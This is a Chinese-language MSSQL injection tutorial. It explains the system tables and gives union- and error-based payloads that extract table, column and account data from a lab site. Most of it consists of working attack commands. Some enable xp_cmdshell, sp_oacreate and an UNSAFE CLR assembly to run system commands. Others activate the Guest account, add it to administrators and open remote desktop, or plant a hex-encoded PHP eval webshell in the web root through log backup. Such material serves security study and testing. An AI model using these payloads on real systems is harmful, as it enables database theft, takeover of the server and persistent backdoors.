强类型数据库,会把数字和字符严格区分的。
有四个默认的数据库:
(重点)
Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名
,主要字段有:name
(数据库名)
所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名
(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。
当 xtype='U'
,代表是用户建立的表。
dbo
.sysobjects所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着当前数据库所有的字段名
。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。
函数 | 函数作用 |
---|---|
db name() | 返回当前数据库的名称 |
host_name() | 返回计算机名称 |
current_user | 返回当前数据库的用户名 |
user | 数据库用户 |
substring() | 字符串截取函数 |
@@version | 查看数据库版本 |
char() | ASCII 转字符函数 |
cast(text as type()) | 字符类型转换,如果转换失败会将 text 结果报错显示在页面上 |
object_id() | 根据表名返回数据库表名 ID |
object_name() | 根据 ID 返回数据库表名 |
col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2) | 返回指定表中指定字段(列)的名称 |
由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用四则运算
,让整型数据和字符型数据
之间来进行运算,例如1+user。
举例POC:'or 1=convert(int,@@version)--
跟mysql差不多,区别在于使用的函数不同
。
1、patindex(pattern,string)
#返回某个字符或正则在某个字符串中第一次出现的位置
2、replace(string,substring1,substring2)
#将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。
举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b
3、replicate(string,n)
#指定的次数复制字符串
举例:replicate(‘abc’,3),返回结果是:abcabcabc
4、stuff(string,pos,delete_length,insertstring)
#先删除字符串中的一个字串,再插入一个新的子串作为替换
举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz
5、upper(string)和lower(string)
#将字符串转换成大写或小写
6、rtrim(string)和ltrim(string)
#删除字符串中的尾随空格或前导空格
7、charindex(expression1 , expression2 , [ start_location ])
#返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。
id=-1 order by 4--+
4不报错,5报错
id=-1 union all select 1,2,db_name(),4--+
这里返回:mozhe_db
id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
这里返回:manage
假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名
id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
这里返回:5575058
id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
这里返回:username
假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名
id=-1 union all select top 1 1,2, username ,4 from manage --+
这里返回:admin_mz
假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名
如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –
and 1=(select db_name()) –
and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –
注意:
convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。
and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –
and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–
select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
返回1是打开;返回0是关闭
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
exec sp_configure;
exec xp_cmdshell 'whoami';
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1
虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止
使用sp_oacreate的前提:sql server数据服务未降权
我们可以借助sql server中的com组件sp_oacreate来执行系统命令。
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'whoami'
EXEC sp_configure 'show advanced options', 1;
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
--上面sql server语言固定,最后一行是执行的系统命令
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集
CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo] FROM 十六进制数据
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
数据库备份文件
。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);
#插入一句话到cmd表里,十六进制为一句话木马
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
利用日志备份,类似于mysql的在日志中写入一句话木马。
修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径
在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表